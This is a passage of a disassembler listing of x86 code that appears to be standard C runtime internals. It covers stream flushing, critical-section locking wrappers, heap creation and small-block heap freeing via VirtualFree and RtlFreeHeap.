		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417D8B
		push	ebx
		call	sub_41CD5C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417D63
		push	ebx
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_417D72
; ---------------------------------------------------------------------------


loc_417D63:				; CODE XREF: sub_417D0C+49j
		call	sub_419600
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_417D72:				; CODE XREF: sub_417D0C+55j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417D83
		mov	eax, [ebp+var_1C]
		jmp	short loc_417DA1
sub_417D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D80	proc near		; DATA XREF: .rdata:stru_429018o
		mov	ebx, [ebp+8]
sub_417D80	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417D83	proc near		; CODE XREF: sub_417D0C+6Ap
		push	ebx
		call	sub_41CDCF
		pop	ecx
		retn
sub_417D83	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417D0C


loc_417D8B:				; CODE XREF: sub_417D0C+15j
					; sub_417D0C+35j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_417DA1:				; CODE XREF: sub_417D0C+72j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_417D0C

; =============== S U B	R O U T	I N E =======================================



sub_417DA7	proc near		; CODE XREF: sub_414977+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_417DD0
		test	al, 8
		jz	short loc_417DD0
		push	dword ptr [esi+8]
		call	sub_414A14
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_417DD0:				; CODE XREF: sub_417DA7+Aj
					; sub_417DA7+Ej
		pop	esi
		retn
sub_417DA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DD2	proc near		; CODE XREF: sub_414977+10p
					; sub_4161C8+38p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_417E21
		test	ax, 108h
		jz	short loc_417E21
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_417E20
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C0E0
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_417E19
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_417E20
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_417E20
; ---------------------------------------------------------------------------


loc_417E19:				; CODE XREF: sub_417DD2+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_417E20:				; CODE XREF: sub_417DD2+25j
					; sub_417DD2+3Dj ...
		pop	edi


loc_417E21:				; CODE XREF: sub_417DD2+13j
					; sub_417DD2+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_417DD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E2F	proc near		; CODE XREF: sub_417E5D+67p
					; sub_417E5D+82p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_417DD2
		test	eax, eax
		pop	ecx
		jz	short loc_417E44
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417E44:				; CODE XREF: sub_417E2F+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_417E59
		push	dword ptr [esi+10h]
		call	sub_41CF3E
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417E59:				; CODE XREF: sub_417E2F+19j
		xor	eax, eax
		pop	esi
		retn
sub_417E2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E5D	proc near		; CODE XREF: sub_417F32+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00417F0E SIZE 0000001B BYTES

		push	14h
		push	offset stru_429028
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], edi
		push	1
		call	sub_418285
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi


loc_417E7E:				; CODE XREF: sub_417E5D+99j
		mov	[ebp+var_24], esi
		cmp	esi, dword_47D9A0
		jge	loc_417F0E
		mov	eax, dword_47C984
		mov	eax, [eax+esi*4]
		cmp	eax, edi
		jz	short loc_417EF5
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_417EF5
		push	eax
		push	esi
		call	sub_418027
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_47C984
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_417EED
		cmp	[ebp+arg_0], edx
		jnz	short loc_417ED4
		push	eax
		call	sub_417E2F
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417EED
		inc	[ebp+var_1C]
		jmp	short loc_417EED
; ---------------------------------------------------------------------------


loc_417ED4:				; CODE XREF: sub_417E5D+64j
		cmp	[ebp+arg_0], edi
		jnz	short loc_417EED
		test	cl, 2
		jz	short loc_417EED
		push	eax
		call	sub_417E2F
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417EED
		or	[ebp+var_20], eax


loc_417EED:				; CODE XREF: sub_417E5D+5Fj
					; sub_417E5D+70j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_417EFD


loc_417EF5:				; CODE XREF: sub_417E5D+3Aj
					; sub_417E5D+40j
		inc	esi
		jmp	short loc_417E7E
sub_417E5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EF8	proc near		; DATA XREF: .rdata:0042903Co
		xor	edi, edi
		mov	esi, [ebp-24h]
sub_417EF8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EFD	proc near		; CODE XREF: sub_417E5D+93p
		mov	eax, dword_47C984
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_418079
		pop	ecx
		pop	ecx
		retn
sub_417EFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E5D


loc_417F0E:				; CODE XREF: sub_417E5D+2Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417F29
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_417F23
		mov	eax, [ebp+var_20]


loc_417F23:				; CODE XREF: sub_417E5D+C1j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_417E5D

; =============== S U B	R O U T	I N E =======================================



sub_417F29	proc near		; CODE XREF: sub_417E5D+B5p
					; DATA XREF: .rdata:stru_429028o
		push	1
		call	sub_4181F1
		pop	ecx
		retn
sub_417F29	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F32	proc near		; CODE XREF: sub_417FE4p
		push	1
		call	sub_417E5D
		pop	ecx
		retn
sub_417F32	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F3B	proc near		; DATA XREF: .data:0042B010o
		mov	eax, dword_47D9A0
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_417F4F
		mov	eax, 200h
		jmp	short loc_417F55
; ---------------------------------------------------------------------------


loc_417F4F:				; CODE XREF: sub_417F3B+Bj
		cmp	eax, esi
		jge	short loc_417F5A
		mov	eax, esi


loc_417F55:				; CODE XREF: sub_417F3B+12j
		mov	dword_47D9A0, eax


loc_417F5A:				; CODE XREF: sub_417F3B+16j
		push	4
		push	eax
		call	sub_41C280
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_47C984, eax
		jnz	short loc_417F8B
		push	4
		push	esi
		mov	dword_47D9A0, esi
		call	sub_41C280
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_47C984, eax
		jnz	short loc_417F8B
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417F8B:				; CODE XREF: sub_417F3B+30j
					; sub_417F3B+49j
		xor	edx, edx
		mov	ecx, offset off_42D978
		jmp	short loc_417F99
; ---------------------------------------------------------------------------


loc_417F94:				; CODE XREF: sub_417F3B+6Dj
		mov	eax, dword_47C984


loc_417F99:				; CODE XREF: sub_417F3B+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_42DBF8
		jl	short loc_417F94
		xor	ecx, ecx
		mov	edx, offset dword_42D988


loc_417FB1:				; CODE XREF: sub_417F3B+A3j
		mov	esi, ecx
		mov	eax, ecx
		and	eax, 1Fh
		sar	esi, 5
		mov	esi, dword_47C620[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417FD1
		test	eax, eax
		jnz	short loc_417FD4


loc_417FD1:				; CODE XREF: sub_417F3B+90j
		or	dword ptr [edx], 0FFFFFFFFh


loc_417FD4:				; CODE XREF: sub_417F3B+94j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_42D9E8
		jl	short loc_417FB1
		xor	eax, eax
		pop	esi
		retn
sub_417F3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FE4	proc near		; DATA XREF: .data:0042B028o

; FUNCTION CHUNK AT 0041CFFA SIZE 00000092 BYTES

		call	sub_417F32
		cmp	byte_47C1DC, 0
		jz	short locret_417FF7
		jmp	loc_41CFFA
; ---------------------------------------------------------------------------

locret_417FF7:				; CODE XREF: sub_417FE4+Cj
		retn
sub_417FE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FF8	proc near		; CODE XREF: sub_4149C3+27p
					; sub_414B6E+Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_42D978
		cmp	eax, ecx
		jb	short loc_41801C
		cmp	eax, offset dword_42DBD8
		ja	short loc_41801C
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_418285
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41801C:				; CODE XREF: sub_417FF8+Bj
					; sub_417FF8+12j
		add	eax, 20h
		push	eax
		call	ds:dword_42001C	; RtlEnterCriticalSection
		retn
sub_417FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418027	proc near		; CODE XREF: sub_417E5D+44p
					; sub_419685+66p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_41803B
		add	eax, 10h
		push	eax
		call	sub_418285
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41803B:				; CODE XREF: sub_418027+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_42001C	; RtlEnterCriticalSection
		retn
sub_418027	endp


; =============== S U B	R O U T	I N E =======================================



sub_41804A	proc near		; CODE XREF: sub_414A0C+1p
					; sub_414BB0+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_42D978
		cmp	eax, ecx
		jb	short loc_41806E
		cmp	eax, offset dword_42DBD8
		ja	short loc_41806E
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_4181F1
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41806E:				; CODE XREF: sub_41804A+Bj
					; sub_41804A+12j
		add	eax, 20h
		push	eax
		call	ds:dword_420018	; RtlLeaveCriticalSection
		retn
sub_41804A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418079	proc near		; CODE XREF: sub_417EFD+9p
					; sub_419685+7Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_41808D
		add	eax, 10h
		push	eax
		call	sub_4181F1
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41808D:				; CODE XREF: sub_418079+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_420018	; RtlLeaveCriticalSection
		retn
sub_418079	endp

; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4180E8	proc near		; CODE XREF: sub_418102+20p
		cmp	dword_47C1A4, 2
		jnz	short loc_4180FE
		cmp	dword_47C1B0, 5
		jb	short loc_4180FE
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4180FE:				; CODE XREF: sub_4180E8+7j
					; sub_4180E8+10j
		push	3
		pop	eax
		retn
sub_4180E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418102	proc near		; CODE XREF: .text:004163B2p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_420188	; HeapCreate
		test	eax, eax
		mov	dword_47C97C, eax
		jz	short loc_41814C
		call	sub_4180E8
		cmp	eax, 3
		mov	dword_47C980, eax
		jnz	short loc_41814F
		push	3F8h
		call	sub_4182B6
		test	eax, eax
		pop	ecx
		jnz	short loc_41814F
		push	dword_47C97C
		call	ds:dword_420184	; HeapDestroy


loc_41814C:				; CODE XREF: sub_418102+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41814F:				; CODE XREF: sub_418102+2Dj
					; sub_418102+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_418102	endp


; =============== S U B	R O U T	I N E =======================================



sub_418153	proc near		; CODE XREF: sub_416E86p
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_47C208


loc_41815C:				; CODE XREF: sub_418153+35j
		cmp	dword_42DC04[esi*8], 1
		jnz	short loc_418184
		lea	eax, ds:42DC00h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_41D188
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_418190


loc_418184:				; CODE XREF: sub_418153+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_41815C
		xor	eax, eax
		inc	eax


loc_41818D:				; CODE XREF: sub_418153+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418190:				; CODE XREF: sub_418153+2Fj
		and	dword_42DC00[esi*8], 0
		xor	eax, eax
		jmp	short loc_41818D
sub_418153	endp


; =============== S U B	R O U T	I N E =======================================



sub_41819C	proc near		; CODE XREF: sub_416DF7p
		push	ebx
		mov	ebx, ds:dword_420024
		push	esi
		mov	esi, offset dword_42DC00
		push	edi


loc_4181AA:				; CODE XREF: sub_41819C+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_4181C3
		cmp	dword ptr [esi+4], 1
		jz	short loc_4181C3
		push	edi
		call	ebx	; RtlDeleteCriticalSection
		push	edi
		call	sub_414A14
		and	dword ptr [esi], 0
		pop	ecx


loc_4181C3:				; CODE XREF: sub_41819C+12j
					; sub_41819C+18j
		add	esi, 8
		cmp	esi, offset dword_42DD20
		jl	short loc_4181AA
		mov	esi, offset dword_42DC00
		pop	edi


loc_4181D4:				; CODE XREF: sub_41819C+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4181E3
		cmp	dword ptr [esi+4], 1
		jnz	short loc_4181E3
		push	eax
		call	ebx	; RtlDeleteCriticalSection


loc_4181E3:				; CODE XREF: sub_41819C+3Cj
					; sub_41819C+42j
		add	esi, 8
		cmp	esi, offset dword_42DD20
		jl	short loc_4181D4
		pop	esi
		pop	ebx
		retn
sub_41819C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181F1	proc near		; CODE XREF: sub_414A67+2p
					; sub_414D22+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	dword_42DC00[eax*8]
		call	ds:dword_420018	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_4181F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418206	proc near		; CODE XREF: sub_418285+14p
					; sub_419685+4Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		lea	esi, ds:42DC00h[esi*8]
		cmp	dword ptr [esi], 0
		jz	short loc_41821E
		xor	eax, eax
		inc	eax
		jmp	short loc_418282
; ---------------------------------------------------------------------------


loc_41821E:				; CODE XREF: sub_418206+11j
		push	edi
		push	18h
		call	sub_414E7D
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_41823C


loc_41822D:				; CODE XREF: sub_418206+63j
		call	sub_419600
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_418281
; ---------------------------------------------------------------------------


loc_41823C:				; CODE XREF: sub_418206+25j
		push	0Ah
		call	sub_418285
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_41826F
		push	0FA0h
		push	edi
		call	sub_41D188
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41826B
		push	edi
		call	sub_414A14
		push	0Ah
		call	sub_4181F1
		pop	ecx
		pop	ecx
		jmp	short loc_41822D
; ---------------------------------------------------------------------------


loc_41826B:				; CODE XREF: sub_418206+52j
		mov	[esi], edi
		jmp	short loc_418276
; ---------------------------------------------------------------------------


loc_41826F:				; CODE XREF: sub_418206+41j
		push	edi
		call	sub_414A14
		pop	ecx


loc_418276:				; CODE XREF: sub_418206+67j
		push	0Ah
		call	sub_4181F1
		xor	eax, eax
		pop	ecx
		inc	eax


loc_418281:				; CODE XREF: sub_418206+34j
		pop	edi


loc_418282:				; CODE XREF: sub_418206+16j
		pop	esi
		pop	ebp
		retn
sub_418206	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418285	proc near		; CODE XREF: sub_414A14+1Ep
					; sub_414BBA+51p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:42DC00h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_4182AB
		push	eax
		call	sub_418206
		test	eax, eax
		pop	ecx
		jnz	short loc_4182AB
		push	11h
		call	sub_4162A0
		pop	ecx


loc_4182AB:				; CODE XREF: sub_418285+11j
					; sub_418285+1Cj
		push	dword ptr [esi]
		call	ds:dword_42001C	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_418285	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182B6	proc near		; CODE XREF: sub_418102+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_47C97C
		call	ds:dword_42005C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_47C968, eax
		jnz	short loc_4182D3
		retn
; ---------------------------------------------------------------------------


loc_4182D3:				; CODE XREF: sub_4182B6+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_47C960, 0
		and	dword_47C964, 0
		mov	dword_47C970, eax
		xor	eax, eax
		mov	dword_47C96C, ecx
		mov	dword_47C974, 10h
		inc	eax
		retn
sub_4182B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182FE	proc near		; CODE XREF: sub_414A14+29p
					; sub_414BBA+5Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_47C964
		lea	ecx, [eax+eax*4]
		mov	eax, dword_47C968
		lea	ecx, [eax+ecx*4]
		jmp	short loc_418322
; ---------------------------------------------------------------------------


loc_418310:				; CODE XREF: sub_4182FE+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418328
		add	eax, 14h


loc_418322:				; CODE XREF: sub_4182FE+10j
		cmp	eax, ecx
		jb	short loc_418310
		xor	eax, eax

locret_418328:				; CODE XREF: sub_4182FE+1Fj
		retn
sub_4182FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418329	proc near		; CODE XREF: sub_414A14+38p
					; sub_414BBA+B8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41863D
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_4183F4
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41838C
		push	3Fh
		pop	edx


loc_41838C:				; CODE XREF: sub_418329+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4183D6
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_4183B7
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4183D3
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183B7:				; CODE XREF: sub_418329+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4183D3
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4183D3:				; CODE XREF: sub_418329+85j
					; sub_418329+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_4183D6:				; CODE XREF: sub_418329+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_4183F4:				; CODE XREF: sub_418329+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418402
		push	3Fh
		pop	edx


loc_418402:				; CODE XREF: sub_418329+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4184A0
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_418427
		mov	ebx, esi


loc_418427:				; CODE XREF: sub_418329+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_418439
		mov	edx, esi


loc_418439:				; CODE XREF: sub_418329+10Cj
		cmp	ebx, edx
		jz	short loc_41849B
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_418483
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_418469
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_418483
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_418483
; ---------------------------------------------------------------------------


loc_418469:				; CODE XREF: sub_418329+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_418483
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_418483:				; CODE XREF: sub_418329+11Dj
					; sub_418329+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41849B:				; CODE XREF: sub_418329+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_4184A3
; ---------------------------------------------------------------------------


loc_4184A0:				; CODE XREF: sub_418329+E2j
		mov	ebx, [ebp+arg_0]


loc_4184A3:				; CODE XREF: sub_418329+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_4184B1
		cmp	ebx, edx
		jz	loc_418531


loc_4184B1:				; CODE XREF: sub_418329+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_418531
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_418508
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4184F7
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4184F7:				; CODE XREF: sub_418329+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_418531
; ---------------------------------------------------------------------------


loc_418508:				; CODE XREF: sub_418329+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41851E
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41851E:				; CODE XREF: sub_418329+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_418531:				; CODE XREF: sub_418329+182j
					; sub_418329+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41863C
		mov	eax, dword_47C960
		test	eax, eax
		jz	loc_41862E
		mov	ecx, dword_47C978
		mov	esi, ds:dword_42018C
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_47C978
		mov	eax, dword_47C960
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_47C960
		mov	eax, [eax+10h]
		mov	ecx, dword_47C978
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_47C960
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_47C960
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_4185BF
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_47C960


loc_4185BF:				; CODE XREF: sub_418329+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41862E
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_47C960
		push	dword ptr [eax+10h]
		push	0
		push	dword_47C97C
		call	ds:dword_420058	; RtlFreeHeap
		mov	eax, dword_47C964
		mov	edx, dword_47C968
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_47C960
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D220
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_47C964
		cmp	eax, dword_47C960
		jbe	short loc_418624
		sub	[ebp+arg_0], 14h


loc_418624:				; CODE XREF: sub_418329+2F5j
		mov	eax, dword_47C968
		mov	dword_47C970, eax


loc_41862E:				; CODE XREF: sub_418329+223j
					; sub_418329+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_47C960, eax
		mov	dword_47C978, edi


loc_41863C:				; CODE XREF: sub_418329+216j
		pop	ebx


loc_41863D:				; CODE XREF: sub_418329+37j
		pop	edi
		pop	esi
		leave
		retn
sub_418329	endp


; =============== S U B	R O U T	I N E =======================================



